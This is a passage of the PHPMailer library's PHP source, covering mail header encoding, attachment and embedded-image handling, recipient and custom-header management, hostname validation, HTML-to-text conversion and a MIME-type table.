                    //Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str === $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return $encoded;
                    }

                    return "\"$encoded\"";
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /* @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
            //fallthrough
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        if ($this->has8bitChars($str)) {
            $charset = $this->CharSet;
        } else {
            $charset = static::CHARSET_ASCII;
        }

        //Q/B encoding adds 8 chars and the charset ("` =?<charset>?[QB]?<content>?=`").
        $overhead = 8 + strlen($charset);

        if ('mail' === $this->Mailer) {
            $maxlen = static::MAIL_MAX_LINE_LENGTH - $overhead;
        } else {
            $maxlen = static::MAX_LINE_LENGTH - $overhead;
        }

        //Select the encoding that produces the shortest output and/or prevents corruption.
        if ($matchcount > strlen($str) / 3) {
            //More than 1/3 of the content needs encoding, use B-encode.
            $encoding = 'B';
        } elseif ($matchcount > 0) {
            //Less than 1/3 of the content needs encoding, use Q-encode.
            $encoding = 'Q';
        } elseif (strlen($str) > $maxlen) {
            //No encoding needed, but value exceeds max line length, use Q-encode to prevent corruption.
            $encoding = 'Q';
        } else {
            //No reformatting needed
            $encoding = false;
        }

        switch ($encoding) {
            case 'B':
                if ($this->hasMultiBytes($str)) {
                    //Use a custom function which correctly encodes and wraps long
                    //multibyte strings without breaking lines within a character
                    $encoded = $this->base64EncodeWrapMB($str, "\n");
                } else {
                    $encoded = base64_encode($str);
                    $maxlen -= $maxlen % 4;
                    $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
                }
                $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded);
                break;
            case 'Q':
                $encoded = $this->encodeQ($str, $position);
                $encoded = $this->wrapText($encoded, $maxlen, true);
                $encoded = str_replace('=' . static::$LE, "\n", trim($encoded));
                $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded);
                break;
            default:
                return $str;
        }

        return trim(static::normalizeBreaks($encoded));
    }

    /**
     * Check if a string contains multi-byte characters.
     *
     * @param string $str multi-byte text to wrap encode
     *
     * @return bool
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return strlen($str) > mb_strlen($str, $this->CharSet);
        }

        //Assume no multibytes (we can't handle without mbstring functions anyway)
        return false;
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     *
     * @param string $text
     *
     * @return bool
     */
    public function has8bitChars($text)
    {
        return (bool) preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid.
     *
     * @see http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     *
     * @param string $str       multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     *
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if (null === $linebreak) {
            $linebreak = static::$LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        //Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        //Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        //Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        $offset = 0;
        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                ++$lookBack;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        //Chomp the last linefeed
        return substr($encoded, 0, -strlen($linebreak));
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     *
     * @param string $string The text to encode
     *
     * @return string
     */
    public function encodeQP($string)
    {
        return static::normalizeBreaks(quoted_printable_encode($string));
    }

    /**
     * Encode a string using Q encoding.
     *
     * @see http://tools.ietf.org/html/rfc2047#section-4.2
     *
     * @param string $str      the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     *
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        //There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(["\r", "\n"], '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                //RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /*
             * RFC 2047 section 5.2.
             * Build $pattern without including delimiters and []
             */
            /* @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $pattern = '\(\)"';
            /* Intentional fall through */
            case 'text':
            default:
                //RFC 2047 section 5.1
                //Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = [];
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            //If the string contains an '=', make sure it's the first thing we replace
            //so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0], true);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        //Replace spaces with _ (more readable than =20)
        //RFC 2047 section 4.2(2)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     *
     * @param string $string      String attachment data
     * @param string $filename    Name of the attachment
     * @param string $encoding    File encoding (see $Encoding)
     * @param string $type        File extension (MIME) type
     * @param string $disposition Disposition to use
     *
     * @throws Exception
     *
     * @return bool True on successfully adding an attachment
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = self::ENCODING_BASE64,
        $type = '',
        $disposition = 'attachment'
    ) {
        try {
            //If a MIME type is not specified, try to work it out from the file name
            if ('' === $type) {
                $type = static::filenameToType($filename);
            }

            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang('encoding') . $encoding);
            }

            //Append to $attachment array
            $this->attachment[] = [
                0 => $string,
                1 => $filename,
                2 => static::mb_pathinfo($filename, PATHINFO_BASENAME),
                3 => $encoding,
                4 => $type,
                5 => true, //isStringAttachment
                6 => $disposition,
                7 => 0,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }

        return true;
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the `$cid` value in `img` tags, for example `<img src="cid:mylogo">`.
     * Never use a user-supplied path to a file!
     *
     * @param string $path        Path to the attachment
     * @param string $cid         Content ID of the attachment; Use this to reference
     *                            the content when using an embedded image in HTML
     * @param string $name        Overrides the attachment filename
     * @param string $encoding    File encoding (see $Encoding) defaults to `base64`
     * @param string $type        File MIME type (by default mapped from the `$path` filename's extension)
     * @param string $disposition Disposition to use: `inline` (default) or `attachment`
     *                            (unlikely you want this – {@see `addAttachment()`} instead)
     *
     * @return bool True on successfully adding an attachment
     * @throws Exception
     *
     */
    public function addEmbeddedImage(
        $path,
        $cid,
        $name = '',
        $encoding = self::ENCODING_BASE64,
        $type = '',
        $disposition = 'inline'
    ) {
        try {
            if (!static::fileIsAccessible($path)) {
                throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            //If a MIME type is not specified, try to work it out from the file name
            if ('' === $type) {
                $type = static::filenameToType($path);
            }

            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang('encoding') . $encoding);
            }

            $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME);
            if ('' === $name) {
                $name = $filename;
            }

            //Append to $attachment array
            $this->attachment[] = [
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, //isStringAttachment
                6 => $disposition,
                7 => $cid,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }

        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * If your filename doesn't contain an extension, be sure to set the $type to an appropriate MIME type.
     *
     * @param string $string      The attachment binary data
     * @param string $cid         Content ID of the attachment; Use this to reference
     *                            the content when using an embedded image in HTML
     * @param string $name        A filename for the attachment. If this contains an extension,
     *                            PHPMailer will attempt to set a MIME type for the attachment.
     *                            For example 'file.jpg' would get an 'image/jpeg' MIME type.
     * @param string $encoding    File encoding (see $Encoding), defaults to 'base64'
     * @param string $type        MIME type - will be used in preference to any automatically derived type
     * @param string $disposition Disposition to use
     *
     * @throws Exception
     *
     * @return bool True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = self::ENCODING_BASE64,
        $type = '',
        $disposition = 'inline'
    ) {
        try {
            //If a MIME type is not specified, try to work it out from the name
            if ('' === $type && !empty($name)) {
                $type = static::filenameToType($name);
            }

            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang('encoding') . $encoding);
            }

            //Append to $attachment array
            $this->attachment[] = [
                0 => $string,
                1 => $name,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => true, //isStringAttachment
                6 => $disposition,
                7 => $cid,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }

        return true;
    }

    /**
     * Validate encodings.
     *
     * @param string $encoding
     *
     * @return bool
     */
    protected function validateEncoding($encoding)
    {
        return in_array(
            $encoding,
            [
                self::ENCODING_7BIT,
                self::ENCODING_QUOTED_PRINTABLE,
                self::ENCODING_BASE64,
                self::ENCODING_8BIT,
                self::ENCODING_BINARY,
            ],
            true
        );
    }

    /**
     * Check if an embedded attachment is present with this cid.
     *
     * @param string $cid
     *
     * @return bool
     */
    protected function cidExists($cid)
    {
        foreach ($this->attachment as $attachment) {
            if ('inline' === $attachment[6] && $cid === $attachment[7]) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check if an inline attachment is present.
     *
     * @return bool
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ('inline' === $attachment[6]) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     *
     * @return bool
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ('attachment' === $attachment[6]) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check if this message has an alternative body set.
     *
     * @return bool
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     *
     * @param string $kind 'to', 'cc', or 'bcc'
     */
    public function clearQueuedAddresses($kind)
    {
        $this->RecipientsQueue = array_filter(
            $this->RecipientsQueue,
            static function ($params) use ($kind) {
                return $params[0] !== $kind;
            }
        );
    }

    /**
     * Clear all To recipients.
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = [];
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = [];
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = [];
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = [];
        $this->ReplyToQueue = [];
    }

    /**
     * Clear all recipient types.
     */
    public function clearAllRecipients()
    {
        $this->to = [];
        $this->cc = [];
        $this->bcc = [];
        $this->all_recipients = [];
        $this->RecipientsQueue = [];
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     */
    public function clearAttachments()
    {
        $this->attachment = [];
    }

    /**
     * Clear all custom headers.
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = [];
    }

    /**
     * Clear a specific custom header by name or name and value.
     * $name value can be overloaded to contain
     * both header name and value (name:value).
     *
     * @param string      $name  Custom header name
     * @param string|null $value Header value
     *
     * @return bool True if a header was replaced successfully
     */
    public function clearCustomHeader($name, $value = null)
    {
        if (null === $value && strpos($name, ':') !== false) {
            //Value passed in as name:value
            list($name, $value) = explode(':', $name, 2);
        }
        $name = trim($name);
        $value = (null === $value) ? null : trim($value);

        foreach ($this->CustomHeader as $k => $pair) {
            if ($pair[0] == $name) {
                // We remove the header if the value is not provided or it matches.
                if (null === $value ||  $pair[1] == $value) {
                    unset($this->CustomHeader[$k]);
                }
            }
        }

        return true;
    }

    /**
     * Replace a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value).
     *
     * @param string      $name  Custom header name
     * @param string|null $value Header value
     *
     * @return bool True if a header was replaced successfully
     * @throws Exception
     */
    public function replaceCustomHeader($name, $value = null)
    {
        if (null === $value && strpos($name, ':') !== false) {
            //Value passed in as name:value
            list($name, $value) = explode(':', $name, 2);
        }
        $name = trim($name);
        $value = (null === $value) ? '' : trim($value);

        $replaced = false;
        foreach ($this->CustomHeader as $k => $pair) {
            if ($pair[0] == $name) {
                if ($replaced) {
                    unset($this->CustomHeader[$k]);
                    continue;
                }
                if (strpbrk($name . $value, "\r\n") !== false) {
                    if ($this->exceptions) {
                        throw new Exception($this->lang('invalid_header'));
                    }

                    return false;
                }
                $this->CustomHeader[$k] = [$name, $value];
                $replaced = true;
            }
        }

        return true;
    }

    /**
     * Add an error message to the error container.
     *
     * @param string $msg
     */
    protected function setError($msg)
    {
        ++$this->error_count;
        if ('smtp' === $this->Mailer && null !== $this->smtp) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' ' . $this->lang('smtp_detail') . $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' ' . $this->lang('smtp_code') . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' ' . $this->lang('smtp_code_ex') . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     *
     * @return string
     */
    public static function rfcDate()
    {
        //Set the time zone to whatever the default is to avoid 500 errors
        //Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());

        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     *
     * @return string
     */
    protected function serverHostname()
    {
        $result = '';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) && array_key_exists('SERVER_NAME', $_SERVER)) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        if (!static::isValidHost($result)) {
            return 'localhost.localdomain';
        }

        return $result;
    }

    /**
     * Validate whether a string contains a valid value to use as a hostname or IP address.
     * IPv6 addresses must include [], e.g. `[::1]`, not just `::1`.
     *
     * @param string $host The host name or IP address to check
     *
     * @return bool
     */
    public static function isValidHost($host)
    {
        //Simple syntax limits
        if (
            empty($host)
            || !is_string($host)
            || strlen($host) > 256
            || !preg_match('/^([a-zA-Z\d.-]*|\[[a-fA-F\d:]+\])$/', $host)
        ) {
            return false;
        }
        //Looks like a bracketed IPv6 address
        if (strlen($host) > 2 && substr($host, 0, 1) === '[' && substr($host, -1, 1) === ']') {
            return filter_var(substr($host, 1, -1), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false;
        }
        //If removing all the dots results in a numeric string, it must be an IPv4 address.
        //Need to check this first because otherwise things like `999.0.0.0` are considered valid host names
        if (is_numeric(str_replace('.', '', $host))) {
            //Is it a valid IPv4 address?
            return filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false;
        }
        //Is it a syntactically valid hostname (when embeded in a URL)?
        return filter_var('http://' . $host, FILTER_VALIDATE_URL) !== false;
    }

    /**
     * Get an error message in the current language.
     *
     * @param string $key
     *
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage(); //Set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ('smtp_connect_failed' === $key) {
                //Include a link to troubleshooting docs on SMTP connection failure.
                //This is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }

            return $this->language[$key];
        }

        //Return the key as a fallback
        return $key;
    }

    /**
     * Build an error message starting with a generic one and adding details if possible.
     *
     * @param string $base_key
     * @return string
     */
    private function getSmtpErrorMessage($base_key)
    {
        $message = $this->lang($base_key);
        $error = $this->smtp->getError();
        if (!empty($error['error'])) {
            $message .= ' ' . $error['error'];
            if (!empty($error['detail'])) {
                $message .= ' ' . $error['detail'];
            }
        }

        return $message;
    }

    /**
     * Check if an error occurred.
     *
     * @return bool True if an error did occur
     */
    public function isError()
    {
        return $this->error_count > 0;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value).
     *
     * @param string      $name  Custom header name
     * @param string|null $value Header value
     *
     * @return bool True if a header was set successfully
     * @throws Exception
     */
    public function addCustomHeader($name, $value = null)
    {
        if (null === $value && strpos($name, ':') !== false) {
            //Value passed in as name:value
            list($name, $value) = explode(':', $name, 2);
        }
        $name = trim($name);
        $value = (null === $value) ? '' : trim($value);
        //Ensure name is not empty, and that neither name nor value contain line breaks
        if (empty($name) || strpbrk($name . $value, "\r\n") !== false) {
            if ($this->exceptions) {
                throw new Exception($this->lang('invalid_header'));
            }

            return false;
        }
        $this->CustomHeader[] = [$name, $value];

        return true;
    }

    /**
     * Returns all custom headers.
     *
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * Converts data-uri images into embedded attachments.
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     *
     * @param string        $message  HTML message string
     * @param string        $basedir  Absolute path to a base directory to prepend to relative paths to images
     * @param bool|callable $advanced Whether to use the internal HTML to text converter
     *                                or your own custom converter
     * @return string The transformed message body
     *
     * @throws Exception
     *
     * @see PHPMailer::html2text()
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(?<!-)(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) {
                //Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                //Convert data URIs into embedded images
                //e.g. "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="
                $match = [];
                if (preg_match('#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#', $url, $match)) {
                    if (count($match) === 4 && static::ENCODING_BASE64 === $match[2]) {
                        $data = base64_decode($match[3]);
                    } elseif ('' === $match[2]) {
                        $data = rawurldecode($match[3]);
                    } else {
                        //Not recognised so leave it alone
                        continue;
                    }
                    //Hash the decoded data, not the URL, so that the same data-URI image used in multiple places
                    //will only be embedded once, even if it used a different encoding
                    $cid = substr(hash('sha256', $data), 0, 32) . '@phpmailer.0'; //RFC2392 S 2

                    if (!$this->cidExists($cid)) {
                        $this->addStringEmbeddedImage(
                            $data,
                            $cid,
                            'embed' . $imgindex,
                            static::ENCODING_BASE64,
                            $match[1]
                        );
                    }
                    $message = str_replace(
                        $images[0][$imgindex],
                        $images[1][$imgindex] . '="cid:' . $cid . '"',
                        $message
                    );
                    continue;
                }
                if (
                    //Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    //Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    //Do not change urls that are already inline images
                    && 0 !== strpos($url, 'cid:')
                    //Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = static::mb_pathinfo($url, PATHINFO_BASENAME);
                    $directory = dirname($url);
                    if ('.' === $directory) {
                        $directory = '';
                    }
                    //RFC2392 S 2
                    $cid = substr(hash('sha256', $url), 0, 32) . '@phpmailer.0';
                    if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) {
                        $basedir .= '/';
                    }
                    if (strlen($directory) > 1 && '/' !== substr($directory, -1)) {
                        $directory .= '/';
                    }
                    if (
                        $this->addEmbeddedImage(
                            $basedir . $directory . $filename,
                            $cid,
                            $filename,
                            static::ENCODING_BASE64,
                            static::_mime_types((string) static::mb_pathinfo($filename, PATHINFO_EXTENSION))
                        )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML();
        //Convert all message body line breaks to LE, makes quoted-printable encoding work much better
        $this->Body = static::normalizeBreaks($message);
        $this->AltBody = static::normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'This is an HTML-only message. To view it, activate HTML in your email application.'
                . static::$LE;
        }

        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was removed for license reasons in #232.
     * Example usage:
     *
     * ```php
     * //Use default conversion
     * $plain = $mail->html2text($html);
     * //Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * ```
     *
     * @param string        $html     The HTML text to convert
     * @param bool|callable $advanced Any boolean value to use the internal converter,
     *                                or provide your own callable for custom conversion.
     *                                *Never* pass user-supplied data into this parameter
     *
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }

        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     *
     * @param string $ext File extension
     *
     * @return string MIME type of file
     */
    public static function _mime_types($ext = '')
    {
        $mimes = [
            'xl' => 'application/excel',
            'js' => 'application/javascript',
            'hqx' => 'application/mac-binhex40',
            'cpt' => 'application/mac-compactpro',
            'bin' => 'application/macbinary',
            'doc' => 'application/msword',
            'word' => 'application/msword',
            'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll' => 'application/octet-stream',
            'dms' => 'application/octet-stream',
            'exe' => 'application/octet-stream',
            'lha' => 'application/octet-stream',
            'lzh' => 'application/octet-stream',
            'psd' => 'application/octet-stream',
            'sea' => 'application/octet-stream',
            'so' => 'application/octet-stream',
            'oda' => 'application/oda',
            'pdf' => 'application/pdf',
            'ai' => 'application/postscript',
            'eps' => 'application/postscript',
            'ps' => 'application/postscript',
            'smi' => 'application/smil',
            'smil' => 'application/smil',
            'mif' => 'application/vnd.mif',
            'xls' => 'application/vnd.ms-excel',
            'ppt' => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc' => 'application/vnd.wap.wmlc',
            'dcr' => 'application/x-director',
            'dir' => 'application/x-director',
            'dxr' => 'application/x-director',
            'dvi' => 'application/x-dvi',
            'gtar' => 'application/x-gtar',
            'php3' => 'application/x-httpd-php',
            'php4' => 'application/x-httpd-php',
            'php' => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps' => 'application/x-httpd-php-source',
            'swf' => 'application/x-shockwave-flash',
            'sit' => 'application/x-stuffit',
            'tar' => 'application/x-tar',
            'tgz' => 'application/x-tar',
            'xht' => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip' => 'application/zip',
            'mid' => 'audio/midi',
            'midi' => 'audio/midi',
            'mp2' => 'audio/mpeg',
            'mp3' => 'audio/mpeg',
            'm4a' => 'audio/mp4',
            'mpga' => 'audio/mpeg',
            'aif' => 'audio/x-aiff',
            'aifc' => 'audio/x-aiff',
            'aiff' => 'audio/x-aiff',
            'ram' => 'audio/x-pn-realaudio',
            'rm' => 'audio/x-pn-realaudio',
            'rpm' => 'audio/x-pn-realaudio-plugin',
            'ra' => 'audio/x-realaudio',
            'wav' => 'audio/x-wav',
            'mka' => 'audio/x-matroska',
            'bmp' => 'image/bmp',
            'gif' => 'image/gif',
            'jpeg' => 'image/jpeg',
            'jpe' => 'image/jpeg',
            'jpg' => 'image/jpeg',
            'png' => 'image/png',
            'tiff' => 'image/tiff',
            'tif' => 'image/tiff',
            'webp' => 'image/webp',
            'avif' => 'image/avif',
            'heif' => 'image/heif',
            'heifs' => 'image/heif-sequence',
            'heic' => 'image/heic',
            'heics' => 'image/heic-sequence',
            'eml' => 'message/rfc822',
            'css' => 'text/css',
            'html' => 'text/html',
            'htm' => 'text/html',
            'shtml' => 'text/html',
            'log' => 'text/plain',
            'text' => 'text/plain',
            'txt' => 'text/plain',
            'rtx' => 'text/richtext',
            'rtf' => 'text/rtf',
            'vcf' => 'text/vcard',
            'vcard' => 'text/vcard',
            'ics' => 'text/calendar',
            'xml' => 'text/xml',
            'xsl' => 'text/xml',
            'csv' => 'text/csv',
            'wmv' => 'video/x-ms-wmv',
            'mpeg' => 'video/mpeg',
            'mpe' => 'video/mpeg',
            'mpg' => 'video/mpeg',
            'mp4' => 'video/mp4',
            'm4v' => 'video/mp4',
            'mov' => 'video/quicktime',
            'qt' => 'video/quicktime',
            'rv' => 'video/vnd.rn-realvideo',
            'avi' => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie',
            'webm' => 'video/webm',
            'mkv' => 'video/x-matroska',
        ];
        $ext = strtolower($ext);
        if (array_key_exists($ext, $mimes)) {
            return $mimes[$ext];
        }

        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     *
     * @param string $filename A file name or full path, does not need to exist as a file
     *
     * @return string
     */
    public static function filenameToType($filename)
    {
        //In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $ext = static::mb_pathinfo($filename, PATHINFO_EXTENSION);

        return static::_mime_types($ext);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte- and cross-platform-safe.
     *
     * @see http://www.php.net/manual/en/function.pathinfo.php#107461
     *
     * @param string     $path    A filename or path, does not need to exist as a file
     * @param int|string $options Either a PATHINFO_* constant,
     *                            or a string name to return only the specified piece
     *
     * @return string|array
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = ['dirname' => '', 'basename' => '', 'extension' => '', 'filename' => ''];
        $pathinfo = [];
        if (preg_match('#^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^.\\\\/]+?)|))[\\\\/.]*$#m', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
